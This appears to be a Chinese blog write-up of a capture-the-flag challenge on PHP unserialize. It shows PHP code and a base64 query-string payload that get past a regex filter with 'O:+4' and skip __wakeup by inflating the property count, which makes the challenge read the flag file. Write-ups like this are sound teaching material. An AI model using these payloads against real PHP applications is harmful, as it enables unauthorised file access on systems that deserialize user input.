攻防世界_Web_php_unserialize

Web_php_unserialize

image-20250615171455649

phpinfo查看版本,发现 5.3.10

__wakeup() 函数会检查 $file 是否是 index.php,如果不是就强制改回

正则过滤:preg_match('/[oc]:\d+:/i', $var),会拦截类似 O:4:C:4: 的字符串

\d 匹配一个数字 \d+ 匹配多个数字

$a = new Demo("fl4g.php");
$b = serialize($a);

echo "替换前字符串:" . $b . '<br>';

$b = str_replace('O:4','O:+4',$b);
#正则匹配可以用+号来进行绕过,+4 会被 PHP 自动转换成 4(不影响最终解析)。
$b = str_replace('1:{','3:{',$b);
#PHP 解析器会认为这是格式错误,从而跳过执行一个叫 __wakeup() 的方法。
echo "替换后".$b."<br>";
echo base64_encode($b);
echo '<br>'

漏洞利用:__destruct成功执行(反序列化之后自动执行),使得$file=flag.php用文件包含打开flag的文件。但是反序列化之前会先执行__wakeup()。

__wakeup不执行(使序列化中的属性个数数字表示大于实际属性个数)

?open=O:4:"open":1:{s:4:"file";s:8:"flag.php";}  //不能得到flag
?open=O:4:"open":2:{s:4:"file";s:8:"flag.php";}  //成功得到flag

O: 表示这是一个对象(Object)。 4: 类名长度是 4 个字符。  "open": 类名为 open(可能是某个自定义类)。
1: 表示这个对象有 1 个属性。  {...}: 属性的内容。
s:4:"file": 字符串类型(string),长度为 4,值为 "file" —— 这是属性名。  
s:8:"flag.php": 字符串类型,长度为 8,值为 "flag.php" —— 这是属性值。

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

漏洞影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

private 属性:序列化格式:%00类名%00属性名

class Demo {
    private $file = "fl4g.php";
}
O:4:"Demo":1:{s:10:"%00Demo%00file";s:8:"fl4g.php";}

protected 属性:序列化格式:%00*%00属性名

class Demo {
    protected $file = "fl4g.php";
}
O:4:"Demo":1:{s:7:"%00*%00file";s:8:"fl4g.php";}

如果序列化结果复制到在线的base64网站进行编码可能会丢掉空白字符。

payload

?var=TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
$a = new Demo("fl4g.php");
$b = serialize($a);
echo "替换前字符串:" . $b . '<br>';
$b = str_replace('O:4','O:+4',$b);
$b = str_replace('1:{','3:{',$b);
echo "替换后".$b."<br>";
echo base64_encode($b);
echo '<br>'
posted @ 2025-06-15 18:19  funji  阅读(130)  评论(0)    收藏  举报